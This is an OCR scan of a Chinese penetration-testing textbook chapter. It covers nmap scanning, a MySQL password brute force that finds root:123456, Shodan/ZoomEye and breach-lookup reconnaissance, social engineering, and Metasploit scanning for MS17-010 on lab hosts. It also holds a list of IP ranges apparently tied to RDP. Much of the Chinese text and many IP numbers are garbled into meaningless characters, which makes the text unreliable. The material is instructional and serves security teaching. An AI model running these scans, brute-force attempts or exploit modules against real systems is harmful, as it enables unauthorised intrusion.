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12119400 121.195.255.255 | 12013400 120135.255.255 | 22319200 223.193.255.255 | 211.6800  211.60.255.255

1246400 12465255255 | 18217400 182175255255 | 1241600  12417.255.255 | 11819000 118191.255.255

11822800 118.220.255.255 | 123.10600 123.107.255.255 | 1107800  119.79.255.255 | 12419200 124102.255.255

. o 2108200 21083255255 1235600  12357.255255 | 11624200 116243255255 1152800  11529.255.255

RDP %ﬁ ;ﬂiﬁﬂ —’}[; ¥ #b E)ﬂiﬁﬂ 3389 FU 11925400 110255255255 | 4921000 49211255255 | 1413000  14131.255.255 | 1419600  14767.255255
IS zr’/?‘ 7‘& H zr’ L o 223.1255.255 | 2232000 22321255255 | 10125200 101.253.255.255 | 223.20200 223.203.255.255

10120000 101.201.255.255 | 10112400 101.125.255.255 | 61.148.00  61.140.255.255 | 183.8400  182.85.255.255

4215800 42150255255 | 6020600  60207.255.255 | 60.19400  60.195.255.255 | 180.2020.0 180203.255.255

180780.0  18079.255.255 | 106.4800  10649.255.255 | 192,00 1.02.255.255 | 1.9400 195,255,255

583000 56.31.255.255 | 125:960.0  125.07.255.255 | 219.242.00 219.243.255.255 | 1.20200 1.203.255.255

ﬁi % @ ];!% _;% D’Iﬁ _%_ %p 9‘2":;—% o HCID4‘C|‘§| 1'1?9525525? 223‘%4733 2%3‘1?5‘255‘25% ‘242?3373 12‘?.?5‘ ‘255‘2?5 ?19.?35;3:3 2‘79‘2?7.255‘??%
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2) A E: 5. T AHiETA (2FEHAHA
SHANEESAFIEGFI, L@ LT i S e 5 A ER R —
B, (2 RBEIAMAN, IMGARE AL, AFiBE L) | &
HTA, A0 (QHEAFAH, ARGASARDESHIER—2) |
ABACLEY TR, 4 (R Amas & F 24k fleg A &5F) | Az A

Podm e f st 209 4G A0 . THMH 2L ELEEE L, X Tk
A——F%T;

3) WfE TAEIRYE: WA TAE A, BRI (Flde &
L HATH AL, NAS A4 53X &) 5

AEXZRTRAZELEP]: “BERARANME —ANEED?
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1) BEFRAE&KERHIAE
APRATFAATILEAMLE Kali Linux RAEERBEITL,
@it WMware B MLZEX Kali Linux & 453t 1748 7, 4=
B 3.2.1.1 FTo B4Rk VMware B WAL Kali B ZFRZ AP E L
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EEAELAEMEIR, T kali 2, Kali BREZENEZ T
BERSTRSZEAFLEL, XERMEFE “ONZELE” - “WMikia

M99
5 —
= Q%ﬁﬂﬁ
™o
=
%3 Q - DNS 74
® Q.mmp iR
37}
£
& 09 - g
@ 10-
4T 11 - S ERE
»smiEE
%2 igEm
B 3.21.2
& 2] nmap 37 Z )6 2692 nmap 15 &, 4@ 3.2.1.3 Ff
=

i Lintx:
amd6A1

 MORE OPTIONS
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R % iiE RS

A A EIT T LIRMAN LSBT, Bl et N

BP o] 4T FF — A

BN FEL, KA T AAIE 4K 213 8808 &

FO9FF BT 8, XEF LB

BEMEAE

HBFEAMEENE —F—EGELERME

KRG E &

nmap -
.45 T nmap B4R 4E ) 7 ik,

iFEm A

ﬁhwaMT ﬁﬂ§32’l4 3.2.1.5 Ff &

Kali Lintx
amde4 1

nmap [Scan T pmﬂ] [DDtlUH ] {target specification}

FICATION
hostname

, etc.
2.168.0.1; 10.0.0-
hosts/networks

, UDP or

amp, and netmask requ

IP Protocol Ping

R FUETA ATz | BT
RNEEEE - = X (ER) - 0oz R EMER

TARGET SPECIFICATION:
Can pass hostnames, IP addresses, networks, etc.
Ex: scanme.nmap.org, microsoft.com/24, 192.168.0.1; 10.0.0-255.1-254
-iL <inputfilename>: Input from list of hosts/networks
-iR <num hosts>: Choose random targets
--exclude <host1[,host2][,host3],...>: Exclude hosts/networks
--excludefile <exclude_file>: Exclude list from file
HOST DISCOVERY:
-sL: List Scan - simply list targets to scan
-sn: Ping Scan - disable port scan
-Pn: Treat all hosts as online -- skip host discovery
-PS/PA/PU/PY portlist]: TCP SYN/ACK, UDP or SCTP discovery to given
ports
-PE/PP/PM: ICMP echo, timestamp, and netmask request discovery
probes
-POlprotocol list]: IP Protocol Ping
-n/-R: Never do DNS resolution/Always resolve [default: sometimes]
--dns-servers <serv1[,serv2],...>: Specify custom DNS servers
--system-dns: Use OS's DNS resolver
--traceroute: Trace hop path to each host
SCAN TECHNIQUES:
-sS/sT/sA/sW/sM: TCP SYN/Connect()/ACK/Window/Maimon scans
-sU: UDP Scan
-sN/sF/sX: TCP Null, FIN, and Xmas scans

B 3.2.1.5 & E&i%

BEEENEFAIRGIA5000F, "Nma TSRS EREIE

Nmap 7.91 (https://nmap.org)

FHi%: nmap[Scan Type (s) ][Options]{target specification}
ERAiE:

OILMEBENE. IPHEE, W%,

B{E: scanme.nmap.orgfiii, fERRL/24, 192.168.0.1; 10.0.0-255.1-254
-iL<inputfilename>: MEH/RILEFIZHIAN

-iR<num hosts>: #FEREHE R

-HEB<host1[, host2][, host3], ...>: HESEA/RE
--excludefile<exclude\u file>: M3ZfehHERRFIZE

FHR:

B E s HERE B

-sn:PingiFfE-EE R IT

SEER: BETA NI - B R
-PS/PA/PU/PY[portlist]: SS£ATEIHIAITCP SYN/ACK, UDPaSCTPA&IL
-PE/PP/PM:ICMP echo. timestampFInetmaskig 3 aIIRM
-PO[IMYBIFR]: IPH#KYPing

-N-RMAHATDN SHRIT/AALRBRATIENAE: BT
—-dnsfRssEB<servi], serv2], ...>: ISEBENInsIRSEE

R dns: FRBERFNdnsBITER

—traceroute: FREREIEMEAHNEKREERE

117

-s8/sT/sA/sW/sM:TCP SYN/Connect () /ACK/Window/Maimoni3fi
-sLHLINPHES

% 23
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Nmap & —K M 2344 &, ¥ A3+ B AR TG RAF R 4,

B

B

BrAdass, SERRIZ. RSN, RREAMFF, DRI GGLIR
%, XERNBIUAF LA w s, oo b o XABT QT2 7o

—p<port ranges>: IR AR, T LA —ATEE R H L
AN NG 5% O

—sV: KN AT I 8935 0 LA IR -/ IR A3 &

—0: 5 AARAE R A, ARERAE R i A

—A: R AR RGARM PRSI, By A A3 e A SR IR

—script=<Lua scripts>: <Lua scripts>& VA& 54 [7ay,
XA A dagh, 83 R AR RIPAR R ST a8, 55
A

auth: A TAEEMGER (RFLER) 9B R

broadcast: & &B MR NIKE L ZIREF BRI, 4o
dhcp/dns/sqlserver iR %

brute: AR A #RMA T X, A3 a9 F 4 http/snmp 5

default: 1% fl-sC K-A ZFFRITEBIAG B A, REL A
i EEEF

discovery: 3t W% 3t/iT# %6942 8, 4o SMB A Z, SNMP %14

% 24 T



‘ BEMEBE

dos: M Ti#tiTiR2MR % K&

exploit: #|H &ty iRFINZ R4

external: #F % =77 698 3EE TR, P4 T whois fi%
M
fuzzer: BN XA, KiEF &, 3] BATHL, IR E

FRF intrusive: NZMEABA, S R M AT AL 5] A3t 77 69
IDS/ IPS #32.5 3 B ik

malware: KM BATMAGRERET mE. TR TEINFEE

safe: £ 5 intrusive #8, B TxA MWk A

version: R W¥EIRIR S 5k AK124E (VersionDetection) 7
AE B9 i A

vuln: R 5t E BAFMLE G A F LA /KIF (Vulnerability) ,

4m % % MS08_067

RIS
Kali (X&) Windows10 (¥zhL)
& GEES GEES
%
| 192.168.31.16 192.168. 31.17
p

% 25 7




5 & HEZSmF N P 250 P N

7k | ifconfig ipconfig

N G| teamn

U =CED 45 . M3 Gl [ widows10

® uE ZE R i

[ Ci\Windows\system32\cmd exe

T @42t B AR win10 ¥2AUE < JUAS nmap 128544, win10IP

Nol. nmap -sV -sC -p 1-65535 192.168.31.17

A X -p1-65535 4244 1-65535 3n 0, - sV & AR F A
T8, -sCABONE A ZALEATIR, LR TUAA-A S RRK

BT AR, WwTEI32.1.6 i

root@haki: -

fE iRE EE A

L]

Starting Nmap 7.91 ( http
Nmap scan report for 192.168.31.17
Host is up (0.00061s latency).
Not shown: 65520 closed ports
PORT STATE SERVICE VERSION
21/tcp open ftp Filezilla ftpd
| ftp-syst:
|_ SYST: UNIX emulated by FileZilla
Apache httpd 2.4.39 ((Win64) OpenSSL/1.1.1b mod_fcgid/2

| http-methods

|_ Potentially risk

\_htlpfser\ferfheader 2 39 64 ) SSL/1.1.1b mod_fcgi .9a mod_log_r
otate/1.02

open msr
open netbios-ssn fin H ios-ssn
445/tcp open microsoft-ds?
3306/tcp open mysql
mysql-info:
Protocol:
Version:
Thread ID
Capabil
E.ome Capabilitie DuntAllawataba;qutholumﬂ, SuppertsCompression, FoundRows,

Ig aceBeforeParenthesis, Support4lAuth, ConnectWithDatabase, Intera
SupportsTransactions, LongPassword, ODBCClient, LongColumnFlag, SupportsLoadDatalocal

% 26 1 B 3.2.1.6 nmap 124%



() 2 EMEHLE
MR EE, SSHFRT 21 350, 80 35, 3306 3% 2 5,
st G9RR SR A FileZil la ftpd, Apache httpd 2. 4.39. MySQL
5.7.26, J6 %37 V4T3 E FNIZ 5
No2. nmap - A 192.168.31.17
Bl RAERGAN ., RAEN, B RRARIZERE =T

K 3.2.1.7 e

3389/tcp open |[ms-wbt-server Microsoft Terminal Services
| rdp-ntim-info:

i Target_Name: DESKTOP-VKEDA13

] NetBIOS_Domain_Name: DESKTOP-VKEDA13

] NetBIOS_Computer_Name: DESKTOP-VKEDA13

] DNS_Domain_Name: DESKTOP-VKEDA13

|  DNS_Computer_Name: DESKTOP-VKEDA13
l
l
l
i

Product_Version: 10.0.17763

_ System_Time: 2021-01-29T06:43:01+00:00

ssl-cert: Subject: commonName=DESKTOP-VKEDA13

Not valid before: 2021-01-28T06:42:10
]_Not valid after: 2021-07-30T06:42:10
|_ssl-date: 2021-01-29T06:43:06+00:00; ©s from scanner time.
MAC Address: 00:0C:29:5B:4E:87 (VMware)
Device type: general purpose
Running: Microsoft Windows 10
0S CPE: cpe:/o:microsoft:windows_10
0S details: Microsoft Windows 10 1709 - 1909
Network Distance: 1 hop
Service Info: 0S: Windows; CPE: cpe:/o:microsoft:windows

B 3.2.1.7 nmap 4344
R RAEN R T 3389 350 B A ITAL R @ik, AN
B R R LA winl0,
PET—FI2FEINA 2155269 ftp.3306 35 2 69 mysql . 3389
3 1 RYITAL % B A R R R T AR ) AR AR R LA
LI RTNR B RRIFR? T A4 2K 55 0 &R 7 sk,
HARL AL O LR

82T ;W



HE ()

B

B R
No3. nmap —p 3306 ——script=mysql—* 192.168.31.17
&L APxE 3306 sm 0 AT A4adE, MBI A9E AR mysal T

& & BT A e A
R AERB TKTH root, BN 123456, VAR K AEFEAL

HEHERT, XA ETHE., T HEI 2.1.8 Fia:

Xt+ I RiE TT BW

) ~
nmap 3306 192.168.31.17
Starting Nmap 7.91 ( https://nmap.org ) at 2021-01-29 14:53 CST
Nmap scan report for 192.168.31.17
Host is up (@.00045s latency).

PORT STATE SERVICE

3306/tcp open mysqgl

| mysql-brute:

|  Accounts:

| root:123456 |- Valid credentials
| Statistics: Performed 45012 guesses in 26 seconds, average tps: 1672.6
| mysql-databases:

| information_schema
| | dalongdb

| | dvwa

| | mysql

| performance_schema
|_|_sys

B 3.2.1.8 nmap 4244 h B IK 5 F 45
TAMETATARS, XETRB——RT, RREMHE4il
BER TR AAZ S E T AT AT .
2) #E5%E
Nol. 4rJ& 2 Ak (ZoomEye) . shodan ¥ M % = A 4% & 5| %
ERFEST AT HEENIL R, LTHA X -6 RSB HIThR
RiE, Pl BELRIRSS IPRRTERILAT IPARRA. T
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K 3.2.1.9 Fr=:

60.205.91.88

RS LHOE  EXEE | Bl |1
~
invision power board &
97812 2019-02-18 nvision Power Board 3.3.1 - 3.4.8 stored X5S in any mess... fre )
93205 2017-06-15 &E nvision Power Board 4.1.19.2 XSS / CSRF / File Upload / i 209
6171 2014-03-09 P.Board&- kiR BE 1w
60806 2013-05-23 =E nvision Power Board Admin #kSE R < iTRE
60715 2013-03-28 & P.Board EXEERGETHIPOSTS IS
microsoft iis httpd =
= z = 2020 23
89233 2015-07-01 (S IS EFI Http.sys #ME Range BEGEHIRR
019 161
62350 2013-04-22 &5 IS 7.5 BRATIRIR & s b
60465 2012-11-18 = Microsoft 1S 2 2 (Ms12-073) 17 5
60466 2012-11-18 =E Microsoft IIS FTPERSSILIZAp: MS12-073
62289 2012-07-12 S <7.5 831EFE IS SR

+E

B 3.2.1.9 AiEz ik

HH I REFZRINEN KR, BEXR—T AR ALGRE, X
IR A BRI 2L R EMRAZIALT, cRET 2K
41161852 AN A o915 %, e T BT AR REXLEFLES, BA
TN

B 3.2.1.10 48 ARia44 4 A
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REMBAE ‘

No2. REGO07 % 4+ T &
i £ REGOO7 LT A £ AR89 Fh 5 2 M AR Wsh, 4o B

3.2.1.11,3.2.1.12 A+

REGOO07 WAOREGO07 B

R AR BRLE s ?

FRS, AFRPELEEE?

A 3.2.1.11 REGOO7

REGO007 0 “ BEMREGO07 8w

= E pt] it3E £=iE =il #X f=55S BRAT R IEs o= ATk Hs

FIEH | K

FARRSFESEMITHNER 1P, BERME, TEEREES BRI &
1. ShEEedmT AR 2NN 2REs. 2REs. BROE. .
2| ==

RUEE sy STRERTEE TN, MRS,

FEMERMSERE, DHESHT TR EER, SEEEL
5. #E mENE BEAE SEAS SEAS SEERlRE, 2WE.
MBAE s | &

MBAER:, SHTFEFEmmnnSIMETe

PaYattES
ASEEARES Fa- RIS, PIMTE, RIASFL. RUIEmSR. BEEEl
R TEHNEERSTS.

R | =m

FRMASIAEF 24 N HIRRSERNNTYEN, REESERSIS=EFES
&, FizES BRAE, FUSEE, SREEE, BEFHE, 88, B UE..

o
7

’ hEHIER | 7 - v
sina

5118|1=2
Ss51on 511 GEINISEOFICA RIS, IBHCSRDASR TERE WEH RS S EiaHE
BEESSEOTIFARKETS

B 3.2.1.12 REGOO7 1244 FHL5 i AL 69 W &
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SHIAET T M, B A& S R RAVAR SR T BT A K5 AR A
—/NEH, REAFBMELZREZRNRK, B—ANRERE AR LN
AR AR et T Z G HIAH S B ARGYEA T o LA ? A, k&
AR A R A B 6 R )
No3. ¢ % = 77 £ 3F &
Z AT AR B IE LR b S AR B F A R SRR A AR
Bt EEMEE? RS SF AR R AR R XA AR, AT
—F B ERARGY, ARG F D, 516 R0 80%4Y 5 4D 4 A HL I AR
T HE, HARB ROy, ALK E = 75 K IEERA T REFEA R
CART A L 69K 5 5 2, B F Rp T R R B, BAT A —& R
2T 6 RARMAR IR T AR R T A EL, AMNRAE—TEAF 6
s 8T 501 ANM b a9, 05T 105 1CAIKS H A E A, 4K

3.2.1.13 Firo

Check if your email address is in a data breach

10,587,144,426 113,961 199,574,606
s pastes paste accounts

B 3.2.1.13 il vg 48 K 5 55 40 R T 4k 5K 3 4% it % 31 ;W



REMEHE ,‘.

o AR R FE EM T E R SE, mIXANFsE EAFARCHE T, AN
LM ARG IR T A 20 T, T @ RAVARN —TF o & A 4% 6901 8 0
K, 4B 3.2.1.14 97, RIAMEMTI LML, mXLEREY
ARAEETRAAEIREFS (RELCRE) , FRANEDLL
MET, AL,

285959330@qqg.com pwned

Oh no — pwned!

Pwned in 2 data breaches and found no pastes {subscribe to search sensitive breaches)

@ 3 Steps to better security Start using 1Password com

.’ s - -

Step 1 Protect yourself using 1Password  Step 2 Enable 2 factor authentication and  Step 3 Subscribe to notifications for any
10 generate and save stTong passwords store the codes inside your 1Password other breaches. Then just change that
for each website. account. unique password.

EIE B P Donate

Breaches you were pwned in
A™preach" is an incident where data has been unintentionally exposed to the public. Using the 1Password password manager helps
you ensure all your passwords are strong and unigque such that a breach of one service doesn't put your other services at risk.

NetEase In October 2015, the Chinese site known as NetEase (located at 163_com) was reported
as having suffered a data breach that impacted hundreds of millions of subscribers. Whilst there is evidence
that the data itself is legitimate (multiple HIBP subscribers confirmed a password they us the data), due
to the difficulty of emphatically verifying the Cl se breach it has been flageed as "unverified”. The data in
the breach contains email addresses and plain text passwords. Read more about Chinese data breaches in
Have | Been Pwned.

Compromised data: Email addr Passwords

Romwe: In mid-2018, the Hong Kong-based retailer Romwe suffered a data breach which exposed almost 20
million customers. The data was subsequently sold onfine and includes names, phone numbers, email and IP
addresses, customer geographic locations and passwords stored as salted SHA-1 hashes. The data was
provided to HIEP by dehashed_com.

Compromised data: Geographic locations, IP addresses, Names, Passwords, Phone numbers, Physical
addresses

B 3.2.1. 14 4] 25 45 % B AR 3 AR
3) Ata TALF
AE P @ROATELE TALE TAZFWEY, BRIEBITLE R
FRIEECETHEINE, LR EHAAR? LFEF AL TA
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B

(o) BEMEE
FRIZLKGHILEM S, RERANRAAESITH, ALCEEFSZ
SFATLFHAR, L. RFRLITEN (FIaIZR) —H
REHBBTHEIAAPHBRAZIL., TARETEL (BEHS
IARFAFHER) PELRARBEET—AREL ID, RAELHER LEZE
HITHE, RABBTELEEREL, A2 TAEFAERF A M
BRNEZELEREAA, R BB EHRESLRAIEFTTHT .
todm NEFNERRFE, PEMFDNEHR: “DE, ARTHM
S MAR LM BRAAPFE, REALAKE —TC, L ERT
BT ! 7 Wi N EFCRENRSBERE FARBRGHT B FHIA
WRADEMNGGIKT K2, RGN EFARER S F ot L e dE ik
BAE, Bl R EOKTERFE, KRB SRR —BILL MR
R, mBLANENAERKERR, IFDNERETRENX—
HEREKRT I,
AR B 218 69 AU S R AT 69 A TR RS, iF
HrABX T EEK low T 112 R FEAR XA 77 kot B & K27 AL 25 IR
1346 % R e IR .
Yo B NEF T R AMBERK, T UMRE H KA E
Wk S, AT AR FMFLT, AEEFIENEREF
EHTIAT, B FNKR T ELH2AHRKELRFNE, £
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EBEMEHE (o)

=\

RIETH? Eam&ile % EPIRBERERENDER T3t

B £S5 69,

3.2.2 /AAAN
EKET K=
AT ERK TR QSILRFFF, T @ &A% K425k R A= 5 iE
R iR R AT R o

3.2.2.1 BRERR

KA K S HAC 2 BT windows 34k R %, L RLAH %M
HARE R %0y, LE2H A8, RAVXA windows #4E & %4tk
A EPI AT . B LAAL—T windows F F|#AF R AT — A
MAF B F R —RRE, MRE TURF TR ET K
AR BT B AN, XA T BLH R K FEAUR B windows xp
1 1E A %3 & windows server 2003 ki 7.

NTFRAABRABELLRN BRI LT, IA0EH
TR S, RIZAKR—F, HRA R IR E AT
M, G XA EARFREAAN B KT
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Kali (33 7) WindowsXP (3e#L)

P 4 i i

P 192.168.31.16 192.168.31.110

T & AR AR — T Fet:

44~de T . nmap ——script=vuln 192.168.31.110

vuln: A THE BARMAT A F LEGKFE (Vulnerability) ,
4o 2 % A MS08_067

AR R THE3.2.2.1 Fiw

@ root @kali: ~

Xt e RE BE B

& 7
nmap 192.168.31.110
Starting Nmap 7.91 ( https://nmap.org ) at 2021-01-29 18:57 CST
Pre-scan script results:
broadcast-avahi-dos:
Discovered hosts:
224.0.0.251
After NULL UDP avahi packet DoS (CVE-2011-1002).
_ Hosts are all up (not vulnerable).
Nmap scan report for 192.168.31.110
Host is up (0.00018s latency).
Not shown: 994 closed ports
PORT STATE SERVICE
80/tcp open http
_http-csrf: Couldn't find any CSRF vulnerabilities.
_http-dombased-xss: Couldn't find any DOM based XSS.
http-enum:
/phpinfo.php: Possible information file
/phpmyadmin/: phpMyAdmin
/phpMyAdmin/: phpMyAdmin
_ /PHPMyAdmin/: phpMyAdmin
http-slowloris-check:
VULNERABLE:
Slowloris DOS attack
State: LIKELY VULNERABLE
IDs: CVE:CVE-2007-6750
Slowloris tries to keep many connections to the target web server open and ho

them open as long as possible. It accomplishes this by opening connections t

the target web server and sending a partial request. By doing so, it starves
the http server's resources causing Denial Of Service.
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" | root@kali: ~
Xt e REE ZE T
Host script results:
_samba-vuln-cve-2012-1182: NT_STATUS_ACCESS_DENIED
smb-vuln-ms@8-067:
VULNERABLE:
Microsoft Windows system vulnerable to remote code execution (MS08-067)
State: VULNERABLE

IDs: CVE:CVE-2008-4250
The Server service in Microsoft Windows 2000 SP4, XP SP2 and SP3, Server
2003 SP1 and SP2,
Vista Gold and SP1, Server 2008, and 7 Pre-Beta allows remote attackers t
0 execute arbitrary
code via a crafted RPC request that triggers the overflow during path can
onicalization.

Disclosure date: 2008-10-23
References:
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-4250
https://technet.microsoft.com/en-us/library/security/ms@8-067.aspx
Ismb-vuln-ms10-054:| false
wsmb vuln-ms10-061: ERROR: Script execution failed (use -d to debug)
smb-vuln-ms17-010:
VULNERABLE:
Remote Code Execution vulnerability in Microsoft SMBvl servers (ms17-010)
State: VULNERABLE
IDs: CVE:CVE-2017-0143
Risk factor: HIGH
A critical remote code execution vulnerability exists in Microsoft SMBv1l
servers (ms17-010).

Disclosure date: 2017-03-14
References:
https://technet.microsoft.com/en-us/library/security/ms17-010.aspx
https://blogs.technet.microsoft.com/msrc/2017/05/12/customer-guidance-for-wan
nacrypt-attacks/

B 3.2.2.1 B#RAG EE I KT

B 25 R R R TRE R LA % 49, ms08-067, ms17-010 iX s
PO B F 69 F RIT ALK BT R TR A YL s AR AR

X PR T nmap iR A28 TE AINE R — /A2 2 E 694 B Rk
& msf, 2422 metasploit—framework, & & —H ko924 kK
o TR, ST s aAe |IT H b AR A s AW R, Bk
PO %E R, FEEERRNGREMFTIHE, REBEALENR
AREHER, CA—NLT., TTEOER, BT CTURES
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(0 REREE
IR, TERFI T HE SRR RELEF CAFHFRE AN
Fad AR A L BRI E LA,
T2 )5 # Metasploit Z AT 8% B 5 Postgresql #46 &, X A3
IE & B T 123 Metasploit a9 %3
B B4 4 :service postgresql start, KRG VAR F)

Metasploit 7, 4® 3.2.2.2 B

root @kali: ~

X hff iR\ Z=E EB
@ ~
ice postgresql start

msfdb status

e postgresql service - PostgreSQL RDBMS
Loaded: loaded (/lib/systemd/system/postgresqgl.service; disabled; vendor preset:

disabled)

Active: active (exited) since Fri 2021-01-29 20:06:24 CST; 3min 37s ago

Process: 3602 ExecStart=/bin/true (code=exited, status=0/SUCCESS)

Main PID: 3602 (code=exited, status=0/SUCCESS)
CPU: 2ms

18 29 20:06:24 kali systemd[1]: Starting PostgreSQL RDBMS ...
18 29 20:06:24 kali systemd[1]: Finished PostgreSQL RDBMS.

COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME
postgres 3584 postgres 5u IPv6 158519 @t@ TCP localhost:5432 (LISTEN)
postgres 3584 postgres 6u IPv4 158520 0t®@ TCP localhost:5432 (LISTEN)

UID PID PPIBI € STIME TTY STAT TIME CMD
postgres 3584 1 0 20:06 ? Ss 0:00 /usr/lib/postgresql/13/bin/pos

[+] Detected configuration file (/usr/share/metasploit-framework/config/database.yml)

B 3.2.2.2 BRI E

KAV N Fh a4 msfconsole, 4B 3.2.2.3 B~



Xt+ miff iwiE BZE 0

metasploit v6.0.25

2090 exploits 128 auxiliary - 354 post
596 payloads - 45 encoders - 1@ nops

7 evasion

=[
=[
=
=[

Metasploit tip: You can use help to view all

B 3.2.2.3 j& 3 msf

X ¥ 2090 exploits K& L aT &4 2090 AT LAF] F &) I IR AL
B, HCEREHRES 4T auxiliary KA IRIEAL R,
pay loads X & A 7 /R 7T ARAT 89 8 %7, encoders X &k mAdid 3k,
XA A RPAAMXETRE SBE,

A ZAVE A msf B 69 RAEHLA E 49 nmap 28T H,
db_nmap R #tATiaHE, BHAEKMNA—THE L, %\ db_nmap -

h® %, ol 3.2.2.4 T
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root@kali: ~

X afe WRiE EHE AW

msfé > db_nmap -h
Nmap 7.91 ( https://nmap.org )
Usage: nmap [Scan Type(s)] [Options] {target specification}
TARGET SPECIFICATION:
Can pass hostnames, IP addresses, networks, etc.
Ex: scanme.nmap.org, microsoft.com/24, 192.168.0.1; 10.0.0-255.1-254
-iL <inputfilename>: Input from list of hosts/networks
-iR <num hosts>: Choose random targets
—exclude <host1[,host2][,host3], ... >: Exclude hosts/networks
—excludefile <exclude_file>: Exclude list from file
HOST DISCOVERY:
-sL: List Scan - simply list targets to scan
-sn: Ping Scan - disable port scan
-Pn: Treat all hosts as online -- skip host discovery
-PS/PA/PU/PY[portlist]: TCP SYN/ACK, UDP or SCTP discovery to given ports
-PE/PP/PM: ICMP echo, timestamp, and netmask request discovery probes
-PO[protocol list]: IP Protocol Ping
-n/-R: Never do DNS resolution/Always resolve [default: sometimes]
—-dns-servers <servi[,serv2], ...>: Specify custom DNS servers
--system-dns: Use 0S's DNS resolver
-—traceroute: Trace hop path to each host
SCAN TECHNIQUES:
-5S/sT/sA/sW/sM: TCP SYN/Connect()/ACK/Window/Maimon scans
-sU: UDP Scan
-sN/sF/sX: TCP Null, FIN, and Xmas scans
--scanflags <flags>: Customize TCP scan flags
-sI <zombie host[:probeport]>: Idle scan
-sY/sZ: SCTP INIT/COOKIE-ECHO scans
-s0: IP protocol scan
-b <FTP relay host>: FTP bounce scan
PORT SPECIFICATION AND SCAN ORDER:
-p <port ranges>: Only scan specified ports
Ex: -p22; -p1-65535; -p U:53,111,137,T:21-25,80,139,8080,5:9

& 3.2.2.4 db_nmap #F 8113 &

FAVT VAR X A2 nmap 44 £ AT K, IRABMBIE— K

IR — T & R4 B 3.2.2.5 Por:

root@kali: ~
X# I w8 EE AR

msfé6 > db_nmap --script=vuln 192.168.31.110
Nmap: Starting Nmap 7.91 ( https://nmap.org ) at 2021-01-29 20:26 CST
Nmap: Pre-scan script results:
Nmap: broadcast-avahi-dos:
Nmap : Discovered hosts:
Nmap: 224.0.0.251
Nmap : After NULL UDP avahi packet DoS (CVE-2011-1002).
Nmap: |_ Hosts are all up (not vulnerable).
Nmap: Nmap scan report for 192.168.31.110
Nmap: Host is up (0.00022s latency).
Nmap: Not shown: 994 closed ports
Nmap: PORT STATE SERVICE
Nmap: 8@/tcp open http
Nmap: |_http-csrf: Couldn't find any CSRF vulnerabilities.
Nmap: |_http-dombased-xss: Couldn't find any DOM based XSS.
Nmap : http-enum:
Nmap: /phpinfo.php: Possible information file
Nmap : /phpmyadmin/: phpMyAdmin
Nmap: /phpMyAdmin/: phpMyAdmin
Nmap: |_ /PHPMyAdmin/: phpMyAdmin
Nmap : http-slowloris-check:
Nmap : VULNERABLE:
Nmap : Slowloris DOS attack
Nmap: State: LIKELY VULNERABLE
Nmap : IDs: CVE:CVE-2007-6750

B 3.2.2.5 db_nmap 13444 £
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BEMEHE (o)
BPRER 5 nmap #8F), LA MSF RlAEEA afshre, XAL

JG % T AT RIF 0 G S5 A AR, B ks 2 &A1 22 VA MSF 247

S
(:\,:?;\
=y
2
25,

3.2.2.2 %t KA

o Meappm AL XRIALBAFAENE idA
CVE:CVE-2017-0143 49X AN, AR A &AVE ZIIER TR A0 A
e ZARAR? X2 B RMHE—T CVE 5 NS Z 4y X &

CVE 2 Common Vulnerabilities and Exposures 845, &%
RBAFA €RX—AFRFFHE, HMIRE £, KETAE
cve.mitre. org/cve/index. html, &TFH KR %,

m M Z Ak EFOBAE TN RAIN R, KETUAE
technet. microsoft. com/en—us/security/bul letins & X & #7 49
EAARKAZ G, MTRAEIMERE—, AT LF*T 2, MITRE 24

— /%t ;2 7% cve.mitre. org/data/refs/refmap/source-MS. html .

TaAMNAE—TEIANI A, 4nE 3.2.2.6 A
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Go to for:

Scores

Commeon Yulnerabilities and Exposures

Search CVE L Downloads Data Feeds Update a CVE Record Request CVE IDs

TOTAL CVE Records: 148276

CVE Reference Map for Source MS

Source Ms

Description||Microseft Security Bulletin
URL hitp
Notes

w.microsoft.com/techr

t/securi ent.aspx

This reference map lists the various references for MS and provides the associated CVE entries or candidates. It uses data from CVE version 20061101 and
candidates that were active as of 2021-01-29.

Note that the list of referencas may not be complete.

MS:MS00-
001
MS:MS00-
002
MS:MS00-
003
MS:MS00-
004
MS:MS00-
005
MS:MS00- =
006 -
MS:MS00-
007
MS:MS00-
008
MS:MS00-
009
MS:MS00-
010
MS:MS00-
011
MS:MS00-
012
MS:MS00-
013

CVE-2000-0053

CVE-2000-0088

CVE-2000-0070

-2000-0097 CVE-2000-0098 CVE-2000-0302

B 3.2.2.6 CVE-MS *f 18 %
BT XA F F T VA4 ] CVE B st 2 89 MS, AR A4 ZAV A+ 4 &

H¥—T%R, BHMSF ZXHGZ ms BHREAXKT, HBKMSF &I H

# Name Disclosure Date Rank
e Descript
2B, de ] 3.2, 2. 7T

@ auxiliary i /ms17_| ommand 2017-03-14 n No
MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Command Ex

);}.'I— — ecution
']‘ 1 auxiliary/scanne: / normal  No

2017-03-14 average
s Kerne Corruption
1s17_010_eternalblue_win8 2017-03-14 age No
Remote Windows Kernel Pool Corruption for win8+
1s17_010_psexec 2017 4 n a

M517-010@ EternalRomance EternSlSyﬁergnyternalChamuinn SMB Remote Windows Code Execu
tion

5 exploit/windows/smb/smb_doublepulsar_r 2017-04-14 € Yes
SMB DOUBLEPULSAR Remote Code Execution

B 3.2.2.7 & L o983



B

BEMEHE (o)
KAV N use 1, P2 B 554 1 893580423k auxiliary, AR5

Hr N\ show options, & & KAN1E B NI AH, 4wk 3.2.2.8 FF

msf6 > use 1
msf6 auxiliary( ) > show options

Module options (auxiliary/scanner/smb/smb_ms17_010):

Name Current Setting Requi
red Description

CHECK_ARCH true no
Check for architecture on vulnerable hosts

CHECK_DOPU true no
Check for DOUBLEPULSAR on vulnerable hosts

CHECK_PIPE false no
Check for named pipe on vulnerable hosts

NAMED_PIPES /usr/share/metasploit-framework/data/wordlists/named_pipes.txt
List of named pipes to check

RHOSTS
The target host(s), range CIDR identifier, or hosts file with syntax 'file:

RPORT 445
The SMB service port (TCP)
SMBDomain
The Windows domain to use for authentication
SMBPass
The password for the specified username
SMBUser
The username to authenticate as
THREADS 1
The number of concurrent threads (max one per host)

Wl 3.2.2.8 B F A%

XEAKPP BARIHAEY IP Xk, 254 X H: set rhosts
192.168.31.110, K5 N exploit BT, REDZ AL R R
3.2.2.9 B~

msf6 auxiliary > set rhosts 192.168.31.110
rhosts = 192.168.31.110
msf6 auxiliary( ) > exploit

